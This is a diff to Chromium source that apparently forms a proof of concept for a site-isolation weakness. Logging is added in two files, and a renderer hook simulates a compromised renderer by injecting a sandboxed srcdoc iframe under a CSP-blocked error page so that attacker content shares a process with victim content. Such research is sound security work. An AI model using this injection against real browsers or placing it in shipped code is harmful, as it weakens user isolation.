diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index c56462131d6b1..f59c09d5d66f3 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -16437,6 +16437,15 @@ void RenderFrameHostImpl::DidCommitNewDocument(
     SetInheritedBaseUrl(GURL());
   }
 
+  // ---- POC instrumentation (observation only, does not affect behaviour) ----
+  LOG(ERROR) << "[POC][browser] commit url=" << request_url
+             << " origin=" << GetLastCommittedOrigin().GetDebugString()
+             << " is_error_doc=" << is_error_document_
+             << " SiteInstance id=" << GetSiteInstance()->GetId().value()
+             << " process_id=" << GetProcess()->GetID().value()
+             << " is_sandboxed="
+             << GetSiteInstance()->GetSecurityPrincipal().IsSandboxed();
+  // ---- end POC ----
   navigation_id_ = navigation_request->GetNavigationId();
 
   // When the embedder navigates a fenced frame root, the navigation
diff --git a/content/browser/site_instance_impl.cc b/content/browser/site_instance_impl.cc
index 9392365ed456a..bd4a64ab78899 100644
--- a/content/browser/site_instance_impl.cc
+++ b/content/browser/site_instance_impl.cc
@@ -1704,6 +1704,17 @@ SiteInstanceImpl::GetCompatibleSandboxedSiteInstance(
   auto result =
       browsing_instance_->GetSiteInstanceForSiteInfo(sandboxed_site_info);
   result->original_url_ = original_url_;
+  // ---- POC instrumentation (observation only, does not affect behaviour) ----
+  LOG(ERROR) << "[POC][browser] GetCompatibleSandboxedSiteInstance:"
+             << " parent_origin=" << parent_origin.GetDebugString()
+             << " precursor_url=" << sandboxed_url_info.url
+             << " -> sandboxed_site_info=" << sandboxed_site_info.GetDebugString()
+             << " -> SiteInstance id=" << result->GetId().value()
+             << " process_id="
+             << (result->HasProcess()
+                     ? result->GetProcess()->GetID().value()
+                     : -1);
+  // ---- end POC ----
   return result;
 }
 
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index 017007ee611e3..fa8a1e94c06f8 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -4134,6 +4134,34 @@ void RenderFrameImpl::DidHandleOnloadEvents() {
 void RenderFrameImpl::DidFinishLoad() {
   TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad",
                "frame_token", frame_token_);
+  // ---- POC: simulated compromised renderer ----
+  // When the CSP-blocked error page (whose document URL is the blocked
+  // victim.test URL carrying "poc-inject-marker") finishes loading in this
+  // renderer, inject a sandboxed srcdoc child under it. This is exactly the
+  // CreateChildFrame + DidChangeSrcDoc + about:srcdoc navigation sequence a
+  // compromised renderer would send. The resulting browser-side
+  // GetCompatibleSandboxedSiteInstance call uses the error page's precursor
+  // (victim.test) to pick a sandboxed SiteInstance.
+  {
+    blink::WebDocumentLoader* dl = frame_->GetDocumentLoader();
+    GURL unreachable =
+        (dl && dl->HasUnreachableURL()) ? GURL(dl->UnreachableWebURL()) : GURL();
+    if (frame_->Parent() &&
+        unreachable.query().find("poc-inject-marker") != std::string::npos) {
+      LOG(ERROR) << "[POC][renderer] compromised-renderer simulation: "
+                    "injecting <iframe sandbox srcdoc> child under "
+                    "ERR_BLOCKED_BY_CSP error page (unreachable_url="
+                 << unreachable << ")";
+      frame_->ExecuteScript(blink::WebScriptSource(blink::WebString::FromUTF8(
+          "var f = document.createElement('iframe');"
+          "f.setAttribute('sandbox', 'allow-scripts');"
+          "f.srcdoc = '<h2>ATTACKER INJECTED CONTENT</h2>"
+          "<script>console.error(\\'[POC] attacker srcdoc running in "
+          "co-process with victim sandboxed content\\');</script>';"
+          "(document.body || document.documentElement).appendChild(f);")));
+    }
+  }
+  // ---- end POC ----
   if (!frame_->Parent()) {
     TRACE_EVENT_INSTANT1("WebCore,benchmark,rail", "LoadFinished",
                          TRACE_EVENT_SCOPE_PROCESS, "isOutermostMainFrame",